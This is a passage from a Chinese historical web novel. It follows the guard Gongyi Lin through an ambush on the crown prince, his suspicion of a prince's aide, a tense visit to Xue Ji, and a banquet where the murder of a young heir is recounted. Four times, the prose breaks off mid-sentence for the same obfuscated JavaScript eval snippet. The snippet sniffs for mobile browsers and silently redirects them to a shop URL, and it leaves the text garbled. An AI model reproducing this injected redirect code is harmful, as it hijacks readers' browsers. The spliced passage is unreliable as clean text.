公仪林左手按剑,停在原地环顾一周漆黑的大路,道两旁几棵高大的树影在夜风里摇晃,发出凄凉悚然的声音。 按这几棵树的位置来看,离延熹门不远了。他调转马首准备追上前面的马车时,薄雾中忽然传来惨叫和兵刃相交时尖锐刺耳的声音。公仪林暗叫不好,胸口滞了一瞬,立即拍马向前。 唯一的光源被人切断,他大喊一声:“快保护殿下!” 黑暗中无法分清敌我,但刀剑碰撞声丝毫不减。十几个东宫侍卫在遇袭后的短暂混沌中立即反应过来,听到左卫率一声令下迅速围到太子乘坐的马车旁,他们睁大双目慢慢适应漆黑如墨的夜。 公仪林跳下马站到最前面,敌人大约十人,皆穿了夜行服,但都戴着奇形怪状的帽子,地上倒下的三人还没死,身体蜷缩在一起呻吟哀嚎,其中两个是提灯的侍卫。公仪林凌厉地斥责一句:“你们在此行刺就是找死。” 敌方来势凶悍,抽刀猛冲上来,带起一阵劲风。 公仪林又大声命令:“护好太子。”他冲进敌阵挥剑就砍,哪管三个师父常叮嘱的用剑技巧,凭着年轻力壮的体魄挥出蛮力,手中的剑是陶修所赠,起初他并未觉得此剑的特别,直到他格挡敌人劈下的大刀,那刀低沉的斫断声和耀目的火花同时出现时,才明白这把剑的分量。 大刀折断,宝剑照着对方的肩膀砍下,那人血淋淋的左臂被斩断时竟没哼一声,仅捂着断臂连退数步。 此时,护在马车旁的侍卫有七八人跳上前,立于左卫率左右,“太子若有闪失,我们都得死。退缩是死,斩杀他们尚有活路。”公仪林对身边的人高声激励。 两伙人在无边的黑暗中殊死搏斗,雾气中惨叫连连。 戴怪帽的黑衣人一直企图靠近马车,皆被公仪林拼死击退,他浑身是血,手臂伤了两处,由于混乱不清,甚至不知是不是自己人的误伤。 地上已倒下七八个人,刺客视死如生的恐怖信念让公仪林逐渐力怯,那不是活人该有的气息,他们无声无息,死前也不发一声。而马车中太子的镇定自若也让公仪林暗暗吃惊。 激烈的打斗声很快引起正在西边巡逻的禁卫军的注意。巡逻队迅速向东调头,狂奔的马蹄声地动山摇,火把几乎驱散雾气。 听见声势浩大的铁蹄声,黑衣人终于发出今夜第一句话:“撤——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928115|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌人仅剩下四人,他们收刀后迅速消失在黑暗里,公仪林怕是调虎离山之计,不敢命人追赶。 断臂的黑衣人还活着,等公仪林发现他的气息时,只见他迅速调转刀刃朝自己胸口猛地刺下。 公仪林对此决绝利落的动作目瞪口呆,此人其实可以随那四人逃脱,但断臂的血迹必然成为追踪的线索,所以他不惜自戕。看来这些人是培养很久存了死志的刀客。 确认地上几个黑衣人确实没有活口后,公仪林才疾步走到马车前,高声问:“殿下受惊了。敌人已击退,逃四人,死五人。” 陈明俨撩起车帷露出半张脸,借着刚点起的灯笼的火光扫视地上尸体和伤员,沉声静气吩咐道:“留下二人看守尸体,等刑部来人给我细查这些人的身份。另速去东宫调遣人手过来救治伤者。”他放下车帷,从里面传出一声疲惫的声音:“回宫吧。” 车轱辘刚要滚动出发,西边轰隆的马蹄声震的脚下发麻。来的这支禁卫军的领头名唤晁拓,他看见地上横七竖八的尸体后立即从马上跳下来,跪在太子的车下请罪护驾来迟。 公仪林速命晁拓派出几十骑人马往黑衣人逃窜的方向追查。 十几根火把将此处照的亮如白昼,地上的血迹由黑转红,公仪林发现这伙人头上戴的是豹子状的黑帽,豹眼用鲜红的彩石缝制,五具尸体都是生脸,在场的无一人认识他们。 公仪林对晁拓道:“太子要起驾回宫。余下的事请晁副尉转交刑部,此事切莫传到圣上耳中,明白吗?” 回至东宫,陆颢听闻此事后,立即将东宫又多加一层巡逻。 公仪林直到太子走进寝宫由侍女伺候洗漱时才退出。走至门边时,陈明俨喊住他:“景风,你留下。” 太子脱去氅衣,仅穿着白色中单,坐在案几前任由一名侍女拆下他的笼冠解开黑长的头发,盯着清晨为父亲抄写的一篇佛经,愣神地问:“你觉得是谁要行刺我?” “没有证据臣不敢妄猜,但那几名豹头人的尸体已送去刑部,臣明日立即去都官尚书那要个答案。” “这帮人凶狠异常,怀揣死志,既然敢做下灭族的大罪,他们身后的事早就处理的干干净净,又怎能查到他们底细。” “皇宫外围有数支禁卫把手、巡逻,豹头人能躲过禁卫的视线躲在暗处等我们的车辆经过,臣猜测,”他抬眼看见依旧无精打采的太子:“臣猜测,他们白日就藏在附近的某处府邸。”他不敢说的太直白。 “呵,你也这样想。” 陈明俨身心疲惫,正要让公仪林退下时,才发现他浑身是血站在下面,手臂的伤口有血不断洇出,将那身月白色的半臂氅衣染的十分骇人。 太子忙起身走到他跟前,拉起左臂托在双手,虚虚地抚过伤处:“你两次护我。第一次我至今认为是意外,但这次再不能如此说服自己了。你的伤,重不重?” “多谢殿下关心。臣这都是皮肉伤,若没有其他吩咐,臣想现在就去找医工包扎一下。” 太子一下醒悟,忙放下他的手臂说:“好,那快去,快去。” 78.我有你的把柄 医工给他包扎伤口时,陆颢站在旁边数了下,共四处,三处在双臂,一处较重的在后背,不无佩服地说:“流了这么多血还精神抖擞挺到现在,年轻就是好。” “你也说了,我是在挺,保不济明天就起不来。兄弟们伤亡如何?” 陆颢道:“张朋、李骥死了,伤的六人现都收治在医馆。” 公仪林心里一沉,他记得张朋、李骥刚入东宫禁卫不到半年,年纪都很轻,无端丢了性命实在可怜,吩咐陆颢抚恤好此二人的亲属。 陆颢还想打听豹头人出现的经过,公仪林浑身乏累地站起身走出门外:“此事明日将会震动朝堂。明日再说吧,我也回去歇会。” 这一夜他回到府中发现院子与昨夜不同。廊庑下悬两盏红色灯笼,厅堂内也灯火通明,廊下立了四个十五六岁年轻陌生的姑娘,见他走进来,齐齐娇声唤道:“公子,您回来了!” 公仪林一脸诧异的从她们跟前走过。这时一个姑娘发现他身上大片血迹后发出尖叫,跑出来正准备给她们立规矩的司子见状也吓得惊魂不定,双腿绵软,不停地问:“公子,这血,这是谁的血?” “她们是怎么回事?” “你到底伤哪了啊公子?” “到底谁在问话?”公仪林烦躁不安。 “你昨晚说在府中留几个伶俐丫头。时间仓促,暂时买了四个回来,你要看着顺眼就都留下,要是不行我明日再挑挑。” 公仪林瞥了眼簌簌发抖的四个姑娘,刚才那声尖叫确实比昨夜的寂静热闹几分,遂说:“就她们吧。” 身上的伤口火辣辣的疼,肿胀灼热的痛楚使他无法入睡,伤的位置又不能辗转反侧,索性坐起来依靠在墙上,出神地凝望窗外墨蓝的夜空,怅然若失。 刑部的尚书王名恩在即将入睡时突然接到太子遇袭的消息,匆忙乘着马车赶往现场,途径礼部侍郎陆子纶府邸时又将此重大事件告知于他,及至天明,除了昏迷中的圣上,宫中已传的沸沸扬扬。 史官在种种猜疑、推测声中已迫不及待要记上一笔。 王名恩在行刺现场勘查血迹、脚印等痕迹,一无所获,便把豹头人的五具尸体研究透彻,只等东宫的人来询问。 公仪林带着阿八去了趟刑部。五具并排躺在地上的尸体各有一处致命伤,看年纪在十八至二十五中间,确实像是无家无口可以豁出一切的年纪。他们衣着一样,携带的刀具也一模一样。 搜出来的兵器整齐地码放在一张黑漆桌上,公仪林拿起逐一查看,刀、匕、锏都有,但摆在最末的一支箭却格外突兀,近身搏斗怎会用到远程才会用到的箭?除非当时还有埋伏在暗处的人。 直到他看见箭头上的“通利坊”三字。 王名恩翻弄其中一人的手掌给公仪林解释:“他们身上几乎提供不了线索,但从其手上的老茧和累积的伤疤推断,这伙人绝对是关在训练场中杀出来的佼佼者,此人中指的这处关节茧痕厚重,在射箭上下了功夫。” 公仪林突然想起去年太子马匹失蹄一事,死在牢中的人手上也有一样的茧子。脑中再次想到薛际和那支被他藏起来的箭。 从刑部出来后直奔皇宫,还要应对朝中大臣的满腹疑团。 太子还像往常一样乘坐车辇到东堂守候在圣上身边,仪仗前后明显多了数倍于之前人数的禁卫。护卫在侧的右卫率陆颢至太子走进圣上寝阁都没解下腰上的兵器,更无人敢上前提醒。 圣上昏迷期间,朝中大事皆由中书监公仪达和尚书左仆射周燃、尚书右仆射陈颛代为监理。陈颛是太子的叔父,他听闻昨夜骇然的大事后立即派出五支搜查队,配合刑部的动作将都城里里外外搜了两遍。及至公仪林刚走近太极殿时,就立即被一众文武围拢在中央,七嘴八舌细问事发的细节。 公仪林从容对众位大人说:“昨夜豹头人的出现我知道的并不比你们多一毫,他们目的直奔太子而来,接下来在陛下龙体康复之前太子的安危与大陈的安危系于一起,望众位大人与我尽快查出刺客背后的主使人。” 数支巡逻和搜查的人马在建康城挨家挨户大肆搜查可能藏匿的凶手,搅得城中百姓惶惶不安五六日,但公仪林最怀疑的地方他们绝对不敢涉足,无非是白忙活。太子宽容厚德,此次遇袭虽受了莫大的惊吓,却没有治罪任何一个失职之人,此事因找不到豹头人的踪迹只能不了了之。 天和十二年四月初八,大陈的皇帝龙驭宾天。太子陈明俨在其灵柩前顺利即为,改元天顺。 先帝的棺椁移至殡宫停灵期间,太常王皎主持治丧事宜。新帝及两位王爷轮番在殡宫守灵。一日傍晚,天色逐渐昏暗,殡宫的灵堂内闷热难挨,陈明俨几番朝殿门外张望,直到建安王陈明健的身影出现,他才长吁一口气,转头问公仪林:“平民百姓为父母守孝也如朕这般吗?” 陈明俨身着生麻布所制的厚重斩衰服,跪在烧纸的火盆旁汗水淋漓, “天下父母的顾复之恩都一样,他们对父母的孝心跟陛下对先帝是一样的。建安王已经来了,就请陛下先回宫歇息。” 陈明健甫一进门,先向新帝行了臣礼,再在先帝灵前烧香跪拜。就在他起身时,一直跟在身后的田敬很自然地伸手将他扶起。公仪林被田敬左手虎口处缠绕的黑色棉布吸引,电光火石间,他突然有种异样的感觉,想起陛下那夜遇袭时与他交手的一个豹头人。当时在打斗中他仗着宝剑的锐利逼人,杀的一个豹头人无法招架,就在他朝豹头人斩去时,对方用刀抵挡但渐渐势弱,就迅速用左手抵刀,将他的剑掀了过去,公仪林向后猛的抽剑时割破豹头人的左手虎口。 不管是前朝记载的宗室间的手足残杀,还是以惯常的思维去想这件事,二王陈明聿都是觊觎皇位的头号人物,虽无人敢言明,但那夜遇袭事件后朝臣谁不把怀疑目标往他身上贴。导致陈明聿那几日惶恐不安,除了守在先帝灵前,连高声说话都怕引祸上身。 而三王陈明健隐藏在幕后不易引起人怀疑的优势在其年纪小排行最末,往人前一站,其身量还像个不起眼的孩子,如果那场行刺是他的计划,一石二鸟,既除掉太子又能通过薛际府邸的箭栽赃豫章王,真是厉害。 公仪林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941621|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼看见火盆的纸钱将要燃尽,几步走到田敬身后拎起一扎纸钱就往火盆中放,看着火苗在盆中静静燃起,他连忙退后几步,由于脚底草绳绊住致使步伐不稳,突然倒在田敬脚边,本能顺势一拽,狠狠攥住田敬左手虎口处,只听田敬倒抽冷气。 公仪林亲见田敬拇指以怪异的程度往外垂下,像是缝合的肉骨重新被撕开,鲜血滴滴答答落在那身白色缟素上。 “田大人的手?”公仪林故作震惊。 田敬把手往怀中一缩,却无法攥起拇指,冷声道:“一点意外。” 看来拇指的肉确实和手掌分离了。公仪林拽出他的手臂想要细看:“如此严重,田大人快到太医署治伤,拖的越久越容易溃烂。” 田敬越缩,他越往上凑,直到陈明健开口:“既然伤了,就回府治伤去罢,换个人过来。” “多谢殿下。” 这日深夜,公仪林仅带着阿八一人敲开了薛际的宅院大门。薛际听家仆通报公仪林就在门外等候时,上唇的几根髭须都露出震惊和排斥,面色冷峻站在廊下连邀公仪林进厅堂的意思都没有:“公仪大人,深夜造访不知有何要紧的事?” 公仪林朝他身后的厅堂瞄一眼,屋内灯盏正盛,桌上还有吃了一半的饭菜,遂笑道:“我过午后就没吃饭,仲山兄不请我进去?” “哼,我们的交情没到同桌用饭的地步吧。”边说边侧身让他进厅。 薛际命人另上了一份饭菜,公仪林随心所欲,脱掉靴子就坐到他对面开始用膳。看他风卷残云的粗鲁模样,薛际差点相信他真的是来吃饭的。 用饭时二人一言不发,竞赛似地看谁能把“食不言”的规矩恪守的更剔透完美。饭后擦过手,公仪林起身把堂中的四角落都巡视个遍,上次来时玩的射壶用的工具都不在这里。 “你来的目的到底是什么?” 公仪林从袖中掏出三支箭摆在方才薛际用饭的案前。 “这是何意?”薛际命人撤去饭菜,紧盯三支被折去箭羽的箭头。 “这支箭,是从豹头人身上搜出来的,他们行刺圣上时的兵器。”他指着右边的箭观察薛际的表情,薛际眼底都是紧张和惶惑,连日来最担忧的就是豫章王府与此事有牵扯,他脸色刷白抬眸望着公仪林,“你把行刺圣上的凶器带到我这里来是什么意思?” 公仪林又指着左边的箭继续说:“这支是去年盛夏圣上还身为太子时,在华林园校场骑马发生意外,那个企图对他下手的人拿的就是这支箭。当时仲山兄你也在场。” 薛际一动不动盯着三支箭,不觉背后发热渗汗。 “这中间的箭嘛——”他翘起嘴角笑了一下,薛际惨白的脸色有点赏心悦目,公仪林戳着桌面点了几下:“是去年九月,我和李颂在此处玩射壶游戏时从你家中带走的那支。” “你凭什么说这支箭就是我府中的东西。既然去年你就怀疑校场的人与我有关,为何当时不上奏朝廷追查下去,现在才过来蒙混我?” 公仪林把玩箭头,在箭杆断口处轻轻摩挲,笑道:“你猜它为何是断的?” 79.落幕的萧梁国 周围安静至极,虽看不清薛际院中都种了哪些花草,一阵柔和的晚风从打开的窗棂穿过,公仪林闻到海棠和月季的清香。 在满室的花香中,薛际终于收敛对公仪林的敌对姿态,缓声道:“豹头人行刺圣上,我想最担忧害怕的就是豫章王。他在你们眼中绝对有这个意图和实力是不是?豫章王德才兼备,骁勇善战,在东扬州手握五万重兵,前年他率军与周人在边境的几场仗足以彰显他的勇武不凡,这正是我大陈现在需要的气魄和胆量,说句大不韪的话,豫章王比现在的圣上更适合做这一国之君。” 公仪林猛击桌面低喝一声:“薛际,你是嫌项上人头太重了?” “我做豫章王参事确实是为谋取前程,但我绝不会替豫王出谋划策行刺圣上。豫王心怀坦荡,对圣上一片赤诚之心,若不是先帝喜爱他的一身胆魄强留他在身边陪伴,豫王早在去年秋就返回东扬州。这些日因豹头人事情,豫王步步如履薄冰,连最疼爱的武平公主都拒之不见,生怕在朝臣眼中留下把柄。你这三支箭都是出自通利坊,我若真是背后主使,焉能留下这样显眼的证据?” “百密总有一疏,又或许,恰好留此疏漏作为你此刻的辩解。” “你仅凭三支箭就想陷豫章王于不义,年轻人,我劝你多走几条路再蹚朝堂的浑水。” 公仪林站起身,背着手在堂里随意走几圈,笑说:“把你家中射壶用的工具搬上来,我来跟你玩一把。” 薛际见他脸上笑容傲慢,对待此等大事时还这样漫不经心,又气又恨,恨不得即刻关上院门把他小命弄这,“来人,取射壶来。” 没有提防也没有暗示,抬上来的壶和箭绝对是最初的状态。公仪林从捆扎整齐的箭中果然又挑出一支通利坊的箭,“仲山兄,能不能回想起哪里得来的箭?” 这些箭新旧、长短不一,要说出每一支的来处谈何容易,他正襟危坐不做解释。 公仪林将通利坊的箭轻易投进大肚壶,拍拍手上的灰尘看着他:“此事我不会再提,但不代表我将你从嫌疑人中排除,以后行事务必小心谨慎,你给我注意了。”他径直走出门外,忍不住回头又说:“你的厨子手艺不错,下回有空我和李颂再来尝尝其他菜品。” 薛际茫然看着他走出大门,跟不屑迎他进屋一样,又忘了送他出门。弄不清此人来的目的,也不敢确定他是否排除了豫章王的嫌疑,那三支箭或将成为他随意威胁自己的把柄。 自从多了四个年轻可爱的女孩后,无名小院不再清冷寂静。她们在廊下养了一只会学舌的八哥,常围着鸟笼莺声燕语逗弄它,她们在院中划分区域种繁杂多样的花草,暗中较劲谁的花更受公子喜爱,她们能写几个字,也擅长吹弹和厨艺。 四个姑娘给小院带来轻松自在的朝气,连廊下那位公子也常被她们的身影吸引,好似他只需她们身上那股烂漫无邪的气息,只要这院子够热闹。 起初她们以为公仪公子的目光是在看她们中某一人,时间久了才发现他只是在出神发愣,像有心思。 “你们说,公子经常坐在廊栏上仅是单纯的望天吗?” “不全是,偶尔会看我种的山茶花。” “我观察过公子,他最喜欢立在绒花树下,一站就是很久很久。”她们齐齐朝院中几个月前刚挪进来的绒花树望去,绒花树的味道并不清香,闻之还有点苦味,“可能公子思乡了。” 天顺元年六月,即位的新帝陈明俨大赦天下,他革除弊政,任用贤能,按照先帝临终嘱托并未大动朝中官员的任免,仅擢升部分他做太子时培养的部分亲信。 公仪林凭两次护驾之功和赤诚忠心,很快就被擢升为皇宫右卫将军,与原左卫蒋授统帅京师禁卫军。 就在六月的炎热即将延续至七月时,梁国的河东王萧钰正式投诚大陈,由萧钰都督的沔州、郢州两地不费吹灰之力重回大陈疆域。 新帝封萧钰为郢州刺史、镇西将军,都督沔、郢两州诸军事,七月初萧钰亲自来到建康叩谢皇恩。 公仪林早就想见见梁国萧氏子弟的真面目,去年冬天那封投诚密信是两个使臣秘密呈递到皇帝手中的,来的那批人当中没有一个姓萧,此时萧钰来建康谢恩,来的就不止他一个萧姓。 萧钰率百十骑人马来到建康那日,是七月难得凉爽的一日,前一夜下了几场阵雨,刚好把干燥扬尘的道路浸润的潮湿平坦,淡薄的云层遮住刺目的太阳,路两旁绿叶滴翠,公仪林和礼部官员从拂晓时就守候在西篱门外的驿馆。 约巳时,有侍卫骑马来报,萧钰的人马离此还有十里。公仪林立即准备出门相迎,公仪鸾摇着扇子不紧不慢说道:“他既然投奔我大陈,就不再是梁国的河东王,我等在此迎接已是最高礼制,等他们出现在门外再出去不迟。” “即便不是王侯,难道你待远客也是如此?他是郢州刺史、镇西将军,还不值你多挪几步?” 要是从前,公仪鸾还敢以长兄的口气与他随意调侃,自从他当上禁卫军右卫,官阶往上一升,公仪家族除了父亲外就属他最大,话不能乱说,玩笑更不敢乱开,只能讪讪地起身跟在他身后。 疾驰的马蹄声自远处传来,虽被驿所外茂密的树林消减部分噪声,脚下依旧有地动山摇的晃动,隆隆之声不绝于耳。公仪林先看见几面旌旗顶风摆动,而后入目的就是身着玄色劲装的萧钰。 萧钰看见驿所前的大队人马,才将马的速度压下,行至跟前跳下马一一见过朝中迎接他的官员。他四十来岁,身量高大,宽背窄腰,举手投足间有天生的贵气,眉眼英气,声音洪亮,在一群养尊处优的官员中也有鹤立鸡群的感觉。 在萧钰身旁还有一位眉清目秀的少年,气质儒雅,举止端庄,胭脂红的直缀外罩烟白素纱禅衣,更衬得他面如冠玉,萧钰对人介绍道:“这是犬子萧颐。” 公仪林默默欣赏萧氏与生俱来的贵气时,悄然将陶修归类其中,陶修与这两位萧姓人都不像,但又能从这二人身上看到一点他的影子,他说不出是哪里像,也许是主观带入自己的猜测,接下来的几日有的是机会接触他们,可挖些关于江陵的往事。 * * * 许多年前,萧室还是这座都城名正言顺的主人,仅三十年时间就已桑田碧海,时过境迁,当年台城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960962|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的琼楼玉宇和建康城中的建筑在战火中已不复存在。建康还是曾经的建康,繁华热闹还如几十年前一样,但江山易主物是人非,萧钰在马上缓缓而行,再难从街道、房屋或风俗中找到曾经他熟悉的地方。 那时候萧钰才十来岁,他和所有萧氏子弟一样,意气风发拍马疾驰在都城的每条大道上、也曾站在城楼上指着北方的中原腹地嚷着心中的宏图大志。但是,王朝倾覆、朝代更迭,并不是靠几个人的力量就能挽住狂澜。他们退守江陵,褪下辉煌的过往偏安一隅,头上依旧戴着帝王的冕旒,做弹丸之地的主人,还不肯承认自己大势已去。 萧钰身体里流着叛逆的血液,心中有桀骜不驯的志向,他不甘似懦弱的梁帝对周国俯首称臣,也瞧不起三哥萧宸明明握着一支重兵却日日在享受“天伦之乐”中消磨斗志。 他要为末路的梁国再寻一条出路。 周国像个刚崛起的英雄,他的国兵马强盛、蓬勃有力,他对大一统垂涎欲滴,涎液触及到九州四海,人人都知晓他的意图。 萧钰终于说服梁帝,让他借陈的势力再挽一回狂澜,哪怕是垂死挣扎和孤注一掷。 当他看见大陈的天子时,不禁蹙眉暗道:悬了。 这个高高在上的帝王本该有雷霆之威,却长了张文士的脸,他笑容和气,圆润的两颊有一层平易近人的红晕,见到梁朝宗室的新鲜面孔后一脸的惊奇和客气,忙打听荆湘风土人情与江东的不同。 萧钰在大殿上将沔、郢州两州的军事实力、军事布防以及周国若敢兴不义之兵又该如何抵御,全都清晰明了陈述给了圣上。 陈明俨大喜,设宴三天殷勤款待这位亲自送上两州的梁室萧钰。宴会很热闹,宫殿也富丽堂皇,文武百官在歌舞升平的丝竹之声中都以为迎来了光明坦荡的黎明,都以为大陈如日方升。 在萧钰回郢州之前,公仪林在自家无名院中设宴款待萧钰和萧颐二人。 他的目的只有一个。 这次的宴会操办是司子二十多年来将要做的最重大的事,他没有在府中招待贵人的经验,不惜低声下气回到公仪大府找公仪鸾的大仆山寒请教经验。山寒趾高气扬在无名院中指点江山:“二公子的宅院小,厅堂也不宽敞,照我说,该把宴席整在院中的绒花树下,气候宜人、空间也丰敞。” 萧钰父子傍晚来赴宴,走进无名院时倒没发觉院中有何特别之处,待日沉西山月升天穹时,院中的各式灯都亮了,他们才被眼前如梦似幻的柔和的灯火所醉。 赴宴的人除了萧家父子外,还有公仪达、公仪鸾、李颂三人。月上中天,夜间凉风习习,偶有一两声嘈杂的蝉声入耳。冰清玉润四位姑娘将院中一盏盏华灯点燃,温润的光芒把姑娘们争相种植的花草照的氤氲袅娜,花影溶溶。 四位姑娘的名字是司子起的,平常分别唤作冰冰、清清、玉玉、润润,此时,她们各展本领,弹唱跳吹,各尽所能。她们婀娜摇曳的舞姿引得公仪鸾频频问堂弟:“没想到你还会这种享受,哪里买来的姑娘,怎会唱的这样好?” 公仪林笑道:“唯自由轻松的地方才能舒展她们天性。” 80.萧世子的死因 此宴不谈国事,涉及的话题都是寻常人家的人情世故、家长里短或是两地的山川景致。公仪达年长,他与萧钰坐在上首,二人在歌舞声中聊的亦很尽兴。 倒是不安分的李颂,自进院看见温润如玉的萧颐后,不等主人安排就坐在萧颐右侧。江南的风流雅士从不吝啬对旁人的夸赞,李颂对着十五六岁沉静青涩的萧颐大肆称赞:“世人都言荆湘之地的人物粗犷悍勇,但小世子风度翩翩仪表不凡,像是江南水墨画中的人物。早听闻世子还写了一手好字,若肯赏脸,宴后还望小世子能赐我一幅墨宝留作收藏和纪念。” 李颂恭维不够,又侧头单盯着他的脸打量,把萧颐耳朵烧的透明泛红,连摆手道:“我在家中排行最末,并非世子,至于笔墨,也不敢在李太仆跟前献丑。” 萧钰听到李颂还尊称自己儿子,联想脱掉的河东王身份,不免心中酸楚,强露笑意解释:“这是我的第三子,他与两个哥哥性格不同,他自小就爱舞文弄墨,曾拜庾信为师,整日伏在案前写写涂涂,与我毫无相像之处。” 李颂恭维道:“像将军则横刀立马气冲霄汉,即便不像将军,三公子也是才华横溢出类拔萃之人,都好,都好。” 公仪林见谈天顺利扯到家中人丁上,顺其自然赞道:“早听说梁国宗室尽出美姿容、好武力的男儿,只有亲见将军之面才知世人夸赞的不过一二。虎父无犬子,萧将军的另外两个儿子一定也卓尔不凡,未敢想萧家似你一般文武双全的人物还有多少?” 萧钰仅以淡然一笑带过他的话头。 公仪林又问:“听说岳阳王也有两子,想必人物也跟萧颐一样出挑。” 此话刚落音,他就见萧钰慢慢褪去笑意,换以冷峻不悦的神色,看来岳阳王丢失世子一事是他们的禁忌话题。 见他不答,公仪林佯装不知情继续问:“岳阳王次子我倒还听过其名,但嫡长子好像很神秘,连名字都不被人知晓。” 萧钰顿了片刻,叹息一声:“右卫将军既然知道岳阳王次子的名字,为何又不知道发生在他长子身上的事?” 公仪林心头一震,顺了顺身体,小心打探道:“确实不知,听将军的口气,难道其中有什么缘故?” 李颂、公仪鸾都伸颈细听,但萧钰说的很简短,三言两语就打发了几只好奇的耳朵:“我那侄儿萧琢十四年前死于歹人之手,因发生在他身上的事太过血腥残忍,江陵城无人忍心把他遇难一事拎到台面上当谈资,提起他的人至今还觉得悲伤,他的名字在岳阳王面前更无人敢提。刚才右卫将军说到他我一时没能反应过来。” 萧钰的话很明白,别把旁人的痛苦当谈资,偏偏公仪林脸厚不识趣,“死了?不是失踪?” 死和失踪完全是两种不同的结局,公仪林显然愣住了,全然不顾萧钰的厌恶,也不在乎会不会引起嫌疑,继续追问,“萧世子身上究竟发生了什么事情?他殁年多大年纪?” “死有十四年了,那年他将将五岁,身首两处被发现在王府大门前时,所有人无不愤怒悲伤,岳阳王夫妇更痛不欲生,他们失去爱子又找不到凶手,几番寻死,直到后来又生下次子萧蕴。” “世子身边随从大仆无数,为何会发生这种不幸的事,是仇家的报复?” 已表明“萧琢”是个令人不愿多提的名字,萧钰见他再三追问,立即把此人划入没眼力见的一类,随意说两句糊弄过这话题:“十多年前的旧事,又距此千里之遥,没想到右卫将军如此感兴趣,令人不悦的旧事不提也罢。” 公仪林尴尬一笑:“好,是我好奇心太盛,唐突了,实在替萧世子惋惜。” 他对萧琢的死确实惋惜,甚至失望,好似陶修再次丢失已被他确认的身份。 宴席还在继续,李颂命司子搬出笔墨,当场请萧颐挥洒墨宝。萧颐推脱不过,就着这小院写了两句“无名庭院芳菲闹,多情江南满是春”,写罢俯身轻吹未干的字迹,手中的笔还未搁下,李颂突然从旁握住他的手,指肚从笔杆摩挲至萧颐手背,握着他的手把“春”字的一捺稍稍拉长一点,柔声轻语道:“萧公子,这里再长一点,是不是更好看?” 公仪林见改过的“春”字确实更飘逸灵动,就是李颂那只贪婪的手十分碍眼,而几乎被他半圈在怀中的萧颐早已浑身不自在,正愁不知如何脱身。 公仪林上前一步,朝李颂的手背猛拍下去,清脆一掌,李颂讪讪地松开萧颐的手。 公仪林把李颂丢下的笔捏在手中转了两圈,笑说:“李太仆别的字写的都一般,就是爱写‘春’字,什么春花复应晚、聊赠一枝春、春水满四泽,处处有春处处留春。” 萧颐嫌恶李颂的出格举动,遂朝公仪林投去被解围后感激的一眼。 再次落座后,萧颐有意和李颂保持距离,往公仪林的坐席挪了许多,寻一个话头问:“右卫将军对我堂兄萧琢一事很上心?我倒听说过一点细节。” “我对萧世子的悲惨遭遇确实有些同情,想不明白堂堂一个世子为何轻易就死在他人手中。”公仪林为了不让上首的萧钰听到,把声音压的很低。 萧颐道:“即便贵为世子,终究是人,衣食住行和常人都一样按时按点,何况他当时还是个好奇的孩子,想游玩、逛集市,看见草编的蛐蛐笼就不肯走路,总有落单的时候。” “世子死那日究竟发生了什么事情?” “我听来的并不多。那年七月,正是现在这个时节,世子在是府邸外的小树林不见的。他失踪后服侍他的两名大仆不敢声张,私自找了两个多时辰将近天黑才敢跟岳阳王禀报世子失踪一事,时间完全被耽误。可惜当时天晚,就算及时关闭城门挨家挨户搜查也没能寻到蛛丝马迹。四日后深夜,王府的守门侍卫听见外面动静,擎火把朝前走了几步,岳阳王府从那一刻起就坠入无间地狱,世子遇害带来的伤痛再没离开过王府。” 公仪林蹙眉问:“凶手一定和王府里某个人认识,如仆从、侍卫受过责罚或亲属犯错死在府中,凶手怀恨在心伺机报复,不然也不会将世子掳走后杀掉再扔回来耀武扬威。” “岳阳王悲愤填膺,亲自审问全府上下,哪怕仅进府一次的人都被找到拷问,可谁敢承认灭族的大罪,哪怕受刑不住也咬死不说,所以问不出任何信息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976425|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “再大的仇恨也不该用孩子来报仇,凶手知道杀人要诛心,世子死了,王爷王妃一蹶不振,他算是一刀杀了一家人。” 